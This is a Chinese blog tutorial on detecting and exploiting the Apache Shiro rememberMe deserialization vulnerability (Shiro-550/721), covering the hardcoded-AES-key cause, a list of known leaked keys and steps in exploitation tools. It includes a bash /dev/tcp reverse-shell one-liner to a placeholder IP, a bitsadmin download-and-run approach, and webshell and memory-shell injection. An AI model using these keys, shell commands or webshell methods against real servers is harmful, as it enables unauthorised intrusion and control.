美文网首页
Apache shiro 远程命令执行漏洞检测及利用

Apache shiro 远程命令执行漏洞检测及利用

作者: 低调求发展 | 来源:发表于2021-09-15 09:20 被阅读0次

    1. shiro介绍

    Apache Shiro是一个强大且易用的Java安全框架,执行身份验证、授权、密码和会话管理。使用Shiro的易于理解的API,您可以快速、轻松地获得任何应用程序,从最小的移动应用程序到最大的网络和企业应用程序。

    认证-⽤用户身份识别,常被称为用户”登录”

    授权-访问控制

    密码加密-保护或隐藏数据防止被偷窥

    会话管理-用户相关的时间敏感的状态

    漏洞原

    从官方的issue 上来看,存在几个重要的点:

    rememberMe cookie

    CookieRememberMeManager.java

    Base64

    AES

    加密密钥硬编码

    Java serialization

    Shiro550:shiro≤1.2.4版本,默认使用了CookieRememberMeManager,由于AES使用的key泄露,导致反序列化的cookie可控,从而引发反序列化攻击。(理论上只要AES加密钥泄露,都会导致反序列化漏洞)

    整个漏洞简单的cookie处理流程是:得到rememberMe的cookie值-->Base64解码-->AES解密-->反序列化。除了找到相关的参数(默认rememberMe)以外,还需要结合如下因素:

    shiro在1.2.4版本之前, AES的模式为CBC, IV是随机生成的,并且IV并没有真正使用起来。所以整个AES加解密过程的key就很重要了,正是因为AES使用默认的KEY/常见的KEY/KEY泄露导致反序列化的cookie可控,从而引发反序列化漏洞。

    常见的key如下:

    kPH+bIxk5D2deZiIxcaaaA==(1.2.4默认key)

    2AvVhdsgUs0FSA3SDFAdag==

    4AvVhmFLUs0KTA3Kprsdag==

    3AvVhmFLUs0KTA3Kprsdag==

    wGiHplamyXlVB11UXWol8g==

    Z3VucwAAAAAAAAAAAAAAAA==

    6ZmI6I2j5Y+R5aSn5ZOlAA==

    ZUdsaGJuSmxibVI2ZHc9PQ==

    1QWLxg+NYmxraMoxAXu/Iw==

    有时候可能存在未知key的情况,那么可以采取 Shiro-721 的报错逻辑来进行遍历key(前提是正常登录得到一个rememberMe的值):

    Shiro721:

    rememberMe cookie通过AES-128-CBC模式加密,易受到Padding Oracle攻击。可以通过结合有效的rememberMe cookie作为Padding Oracle攻击的前缀,然后制作rememberMe来进行反序列化攻击。

    Tip:可以结合JRMP gadget使用,可以大幅减少生成序列化数据的长度,同时在1.2.4版本后,shiro已经更换 AES-CBC AES-CBC 为 AES-GCM AES-GCM ,无法再通过Padding Oracle遍历key。

    3. 影响版本

    小于等于1.2.4

    4. 检测及利用

    1.确定shiro

    输入用户名密码。勾选Remember Me选项用burp抓包,然后重放一下。

    发现回包中有rememberMe=deleteMe的字样(这是shiro漏洞的标志)。说明可能存在漏洞。

    2.确认是否存在漏洞

    可以用工具扫描一下:

    存在漏洞。

    3.漏洞利用

    方法一:

    直接使用飞鸿工具检测利用:

    填入检测的地址

    使用相应探测类型

    查看是否存在漏洞

    看到+号就说明存在漏洞。检测可结束。

    若存在漏洞,可执行命令执行,反弹shell及webshell。可自行学习,提供一下思路。

    反弹shell(linux)采用bash -i >& /dev/tcp/IP/监听端口 0>&1的方式反弹 shell

    反弹shell(Windows)采用bitsadmin下载指定 URL 的 exe 文件并执行的方式获取 shell

    获取Webshell 可以在能够回显的情况下直接在使用者给出的路径(目录需要真实存在)下写入 webshell, webshell 名称和后缀名由使用者自行指定,webshell 的内容从 config 目录下的 shell.jsp 中读取。

    反弹shell:

    填入监听地址及端口,执行fire

    获取shell成功

    方法二:

    使用shiro反序列漏洞利用工具检测及利用

    1.填入存在漏洞的地址,2.检测及爆破密钥3.检测及爆破利用链4.可命令执行

    看到利用链及密钥说明存在漏洞。检测可结束。

    后续深入研究自行学习:提供利用内存马执行获取webshell思路。

    注入相应内存马:

    使用相应webshell工具连接。

    Webshell成功。

    相关文章

      网友评论

          本文标题:Apache shiro 远程命令执行漏洞检测及利用

          本文链接:https://www.haomeiwen.com/subject/xzycgltx.html